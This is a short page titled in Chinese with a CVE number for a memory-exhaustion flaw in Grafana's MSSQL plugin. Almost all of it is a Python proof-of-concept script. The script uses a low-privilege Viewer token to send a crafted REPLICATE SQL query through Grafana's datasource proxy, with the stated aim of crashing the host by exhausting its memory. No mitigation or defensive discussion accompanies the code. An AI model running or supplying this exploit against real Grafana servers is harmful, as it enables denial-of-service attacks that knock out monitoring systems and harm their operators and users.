CVE-2026-33375 Grafana MSSQL插件内存耗尽漏洞

import requests # Target configuration target_url = "http://target-grafana:3000/api/datasources/proxy/uid/{datasource_uid}" viewer_token = "eyJrIjoi..." # Low-privilege Viewer token # Malicious payload designed to exhaust memory # Exploits the logic flaw to bypass API restrictions payload = { "rawSql": "SELECT REPLICATE(CAST('A' AS VARCHAR(MAX)), 10000000) AS MemoryHog", "format": "json" } headers = { "Authorization": f"Bearer {viewer_token}", "Content-Type": "application/json" } def trigger_oom(): print("[*] Attempting to trigger OOM on Grafana MSSQL plugin...") try: # Send request that bypasses restrictions and allocates massive memory response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully, check host for crash/OOM.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_oom()